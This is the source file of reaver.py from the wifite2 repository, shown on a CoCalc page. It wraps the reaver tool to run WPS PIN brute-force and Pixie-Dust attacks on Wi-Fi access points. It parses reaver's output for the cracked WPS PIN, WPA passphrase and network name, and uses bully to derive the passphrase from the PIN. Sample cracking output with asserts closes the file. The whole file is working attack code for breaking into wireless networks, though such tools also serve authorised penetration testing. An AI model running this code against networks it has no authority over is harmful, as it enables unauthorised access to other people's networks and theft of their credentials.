Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite2
Path: blob/master/wifite/tools/reaver.py
412 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
from .dependency import Dependency
5
from .airodump import Airodump
6
from .bully import Bully # for PSK retrieval
7
from ..model.attack import Attack
8
from ..config import Configuration
9
from ..model.wps_result import CrackResultWPS
10
from ..util.color import Color
11
from ..util.process import Process
12
from ..util.timer import Timer
13
14
import os, time, re
15
16
class Reaver(Attack, Dependency):
17
dependency_required = False
18
dependency_name = 'reaver'
19
dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
20
21
def __init__(self, target, pixie_dust=True):
22
super(Reaver, self).__init__(target)
23
24
self.pixie_dust = pixie_dust
25
26
self.progress = '0.00%'
27
self.state = 'Initializing'
28
self.locked = False
29
self.total_attempts = 0
30
self.total_timeouts = 0
31
self.total_wpsfails = 0
32
self.last_pins = set()
33
self.last_line_number = 0
34
35
self.crack_result = None
36
37
self.output_filename = Configuration.temp('reaver.out')
38
if os.path.exists(self.output_filename):
39
os.remove(self.output_filename)
40
41
self.output_write = open(self.output_filename, 'a')
42
43
self.reaver_cmd = [
44
'reaver',
45
'--interface', Configuration.interface,
46
'--bssid', self.target.bssid,
47
'--channel', self.target.channel,
48
'-vv'
49
]
50
51
if pixie_dust:
52
self.reaver_cmd.extend(['--pixie-dust', '1'])
53
54
self.reaver_proc = None
55
56
@staticmethod
57
def is_pixiedust_supported():
58
''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
59
output = Process(['reaver', '-h']).stderr()
60
return '--pixie-dust' in output
61
62
def run(self):
63
''' Returns True if attack is successful. '''
64
try:
65
self._run() # Run-loop
66
except Exception as e:
67
# Failed with error
68
self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
69
return self.crack_result is not None
70
71
# Stop reaver if it's still running
72
if self.reaver_proc.poll() is None:
73
self.reaver_proc.interrupt()
74
75
# Clean up open file handle
76
if self.output_write:
77
self.output_write.close()
78
79
return self.crack_result is not None
80
81
82
def _run(self):
83
self.start_time = time.time()
84
85
with Airodump(channel=self.target.channel,
86
target_bssid=self.target.bssid,
87
skip_wps=True,
88
output_file_prefix='pixie') as airodump:
89
90
# Wait for target
91
self.pattack('Waiting for target to appear...')
92
self.target = self.wait_for_target(airodump)
93
94
# Start reaver
95
self.reaver_proc = Process(self.reaver_cmd,
96
stdout=self.output_write,
97
stderr=Process.devnull())
98
# Say "yes" if asked to restore session.
99
self.reaver_proc.stdin('y\n')
100
101
# Loop while reaver is running
102
while self.crack_result is None and self.reaver_proc.poll() is None:
103
104
# Refresh target information (power)
105
self.target = self.wait_for_target(airodump)
106
107
# Update based on reaver output
108
stdout = self.get_output()
109
self.state = self.parse_state(stdout)
110
self.parse_failure(stdout)
111
112
# Print status line
113
self.pattack(self.get_status())
114
115
# Check if we cracked it
116
self.crack_result = self.parse_crack_result(stdout)
117
118
# Check if locked
119
if self.locked and not Configuration.wps_ignore_lock:
120
raise Exception('{O}Access point is {R}Locked{W}')
121
122
time.sleep(0.5)
123
124
# Check if crack result is in output
125
stdout = self.get_output()
126
self.crack_result = self.parse_crack_result(stdout)
127
128
# Show any failures found
129
if self.crack_result is None:
130
self.parse_failure(stdout)
131
132
if self.crack_result is None and self.reaver_proc.poll() is not None:
133
raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
134
135
136
def get_status(self):
137
if self.pixie_dust:
138
main_status = ''
139
else:
140
# Include percentage
141
main_status = '({G}%s{W}) ' % self.progress
142
143
# Current state (set in parse_* methods)
144
main_status += self.state
145
146
# Counters, timeouts, failures, locked.
147
meta_statuses = []
148
149
if self.total_timeouts > 0:
150
meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts)
151
152
if self.total_wpsfails > 0:
153
meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails)
154
155
if self.locked:
156
meta_statuses.append('{R}Locked{W}')
157
158
if len(meta_statuses) > 0:
159
main_status += ' (%s)' % ', '.join(meta_statuses)
160
161
return main_status
162
163
164
def parse_crack_result(self, stdout):
165
if self.crack_result is not None:
166
return self.crack_result
167
168
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
169
170
# Check if we cracked it, or if process stopped.
171
if pin is not None:
172
# We cracked it.
173
174
if psk is not None:
175
# Reaver provided PSK
176
self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
177
else:
178
self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
179
180
# Try to derive PSK from PIN using Bully
181
self.pattack('{W}Retrieving PSK using {C}bully{W}...')
182
psk = None
183
try:
184
psk = Bully.get_psk_from_pin(self.target, pin)
185
except KeyboardInterrupt:
186
pass
187
if psk is None:
188
Color.pl('')
189
self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
190
else:
191
self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
192
193
crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
194
crack_result.dump()
195
return crack_result
196
197
return None
198
199
200
def parse_failure(self, stdout):
201
# Total failure
202
if 'WPS pin not found' in stdout:
203
raise Exception('Reaver says "WPS pin not found"')
204
205
# Running-time failure
206
if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout:
207
raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
208
209
# WPSFail count
210
self.total_wpsfails = stdout.count('WPS transaction failed')
211
if self.total_wpsfails >= Configuration.wps_fail_threshold:
212
raise Exception('Too many failures (%d)' % self.total_wpsfails)
213
214
# Timeout count
215
self.total_timeouts = stdout.count('Receive timeout occurred')
216
if self.total_timeouts >= Configuration.wps_timeout_threshold:
217
raise Exception('Too many timeouts (%d)' % self.total_timeouts)
218
219
220
def parse_state(self, stdout):
221
state = self.state
222
223
# Check last line for current status
224
stdout_last_line = stdout.split('\n')[-1]
225
226
# [+] Waiting for beacon from AA:BB:CC:DD:EE:FF
227
if 'Waiting for beacon from' in stdout_last_line:
228
state = 'Waiting for beacon'
229
230
# [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07)
231
elif 'Associated with' in stdout_last_line:
232
state = 'Associated'
233
234
elif 'Starting Cracking Session.' in stdout_last_line:
235
state = 'Started Cracking'
236
237
# [+] Trying pin "01235678"
238
elif 'Trying pin' in stdout_last_line:
239
state = 'Trying PIN'
240
241
# [+] Sending EAPOL START request
242
elif 'Sending EAPOL START request' in stdout_last_line:
243
state = 'Sending EAPOL'
244
245
# [+] Sending identity response
246
elif 'Sending identity response' in stdout_last_line:
247
state = 'Sending ID'
248
self.locked = False
249
250
# [+] Sending M2 message
251
elif 'Sending M' in stdout_last_line:
252
for num in ['2', '4', '6']:
253
if 'Sending M%s message' % num in stdout_last_line:
254
state = 'Sending M%s' % num
255
if num == '2' and self.pixie_dust:
256
state += ' / Running pixiewps'
257
self.locked = False
258
259
# [+] Received M1 message
260
elif 'Received M' in stdout_last_line:
261
for num in ['1', '3', '5', '7']:
262
if 'Received M%s message' % num in stdout_last_line:
263
state = 'Received M%s' % num
264
self.locked = False
265
266
# [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
267
elif 'Detected AP rate limiting,' in stdout_last_line:
268
state = 'Rate-Limited by AP'
269
self.locked = True
270
271
# Parse all lines since last check
272
stdout_diff = stdout[self.last_line_number:]
273
self.last_line_number = len(stdout)
274
275
# Detect percentage complete
276
# [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin)
277
percentages = re.findall(
278
r"([0-9.]+%) complete .* \(([0-9.]+) seconds/pin\)", stdout_diff)
279
if len(percentages) > 0:
280
self.progress = percentages[-1][0]
281
282
# Calculate number of PINs tried
283
# [+] Trying pin "01235678"
284
new_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout_diff))
285
if len(new_pins) > 0:
286
self.total_attempts += len(new_pins.difference(self.last_pins))
287
self.last_pins = new_pins
288
289
# TODO: Look for "Sending M6 message" which indicates first 4 digits are correct.
290
291
return state
292
293
294
def pattack(self, message, newline=False):
295
# Print message with attack information.
296
if self.pixie_dust:
297
time_left = Configuration.wps_pixie_timeout - self.running_time()
298
time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left)
299
attack_name = 'Pixie-Dust'
300
else:
301
time_left = self.running_time()
302
time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left)
303
attack_name = 'PIN Attack'
304
305
if self.total_attempts > 0 and not self.pixie_dust:
306
time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts
307
308
Color.clear_entire_line()
309
Color.pattack('WPS', self.target, attack_name,
310
'{W}[%s] %s' % (time_msg, message))
311
if newline:
312
Color.pl('')
313
314
315
def running_time(self):
316
return int(time.time() - self.start_time)
317
318
319
@staticmethod
320
def get_pin_psk_ssid(stdout):
321
''' Parses WPS PIN, PSK, and SSID from output '''
322
pin = psk = ssid = None
323
324
# Check for PIN.
325
''' [+] WPS pin: 11867722 '''
326
regex = re.search(r"WPS pin:\s*([0-9]+)", stdout, re.IGNORECASE)
327
if regex:
328
pin = regex.group(1)
329
330
if pin is None:
331
''' [+] WPS PIN: '11867722' '''
332
regex = re.search(r"WPS PIN:\s*'([0-9]+)'", stdout, re.IGNORECASE)
333
if regex:
334
pin = regex.group(1)
335
336
# Check for PSK.
337
# Note: Reaver 1.6.x does not appear to return PSK (?)
338
''' [+] WPA PSK: 'password' '''
339
regex = re.search(r"WPA PSK:\s*'(.+)'", stdout)
340
if regex:
341
psk = regex.group(1)
342
343
# Check for SSID
344
'''1.x [Reaver Test] [+] AP SSID: 'Test Router' '''
345
regex = re.search(r"AP SSID:\s*'(.*)'", stdout)
346
if regex:
347
ssid = regex.group(1)
348
349
# Check (again) for SSID
350
if ssid is None:
351
'''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)'''
352
regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout)
353
if regex:
354
ssid = regex.group(1)
355
356
return (pin, psk, ssid)
357
358
359
def get_output(self):
360
''' Gets output from reaver's output file '''
361
if not self.output_filename:
362
return ''
363
364
if self.output_write:
365
self.output_write.flush()
366
367
with open(self.output_filename, 'r') as fid:
368
stdout = fid.read()
369
370
if Configuration.verbose > 1:
371
Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
372
373
return stdout.strip()
374
375
376
if __name__ == '__main__':
377
old_stdout = '''
378
[Pixie-Dust]
379
[Pixie-Dust] Pixiewps 1.1
380
[Pixie-Dust]
381
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
382
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
383
[Pixie-Dust] [+] WPS pin: 12345678
384
[Pixie-Dust]
385
[Pixie-Dust] [*] Time taken: 0 s
386
[Pixie-Dust]
387
Running reaver with the correct pin, wait ...
388
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402
389
390
[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF
391
[Reaver Test] Channel: 11
392
[Reaver Test] [+] WPS PIN: '12345678'
393
[Reaver Test] [+] WPA PSK: 'Test PSK'
394
[Reaver Test] [+] AP SSID: 'Test Router'
395
'''
396
397
# From vom513 in https://github.com/derv82/wifite2/issues/60
398
new_stdout = '''
399
[+] Switching wlan1mon to channel 5
400
[+] Waiting for beacon from EC:1A:59:37:70:0E
401
[+] Received beacon from EC:1A:59:37:70:0E
402
[+] Vendor: RealtekS
403
[+] Trying pin "12345670"
404
[+] Sending authentication request
405
[+] Sending association request
406
[+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)
407
[+] Sending EAPOL START request
408
[+] Received identity request
409
[+] Sending identity response
410
[+] Received M1 message
411
[+] Sending M2 message
412
413
Pixiewps 1.4
414
415
[?] Mode: 3 (RTL819x)
416
[*] Seed N1: -
417
[*] Seed ES1: -
418
[*] Seed ES2: -
419
[*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450
420
[*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d
421
[*] ES1: 04d48dc20ec785762ce1a21a50bc46c2
422
[*] ES2: 04d48dc20ec785762ce1a21a50bc46c2
423
[+] WPS pin: 11867722
424
425
[*] Time taken: 0 s 21 ms
426
427
executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819
428
'''
429
pin_attack_stdout = '''
430
[+] Pin cracked in 16 seconds
431
[+] WPS PIN: '01030365'
432
[+] WPA PSK: 'password'
433
[+] AP SSID: 'AirLink89300'
434
'''
435
436
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout)
437
assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin
438
assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk
439
assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid)
440
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
441
result.dump()
442
print('')
443
444
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout)
445
assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin
446
assert psk is None, 'psk was "%s", should have been "None"' % psk
447
assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid)
448
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
449
result.dump()
450
print('')
451
452
(pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout)
453
assert pin == '01030365', 'pin was "%s", should have been "01030365"' % pin
454
assert psk == 'password', 'psk was "%s", should have been "password"' % psk
455
assert ssid == 'AirLink89300', 'ssid was "%s", should have been "AirLink89300"' % repr(ssid)
456
result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk)
457
result.dump()
458
print('')
459
460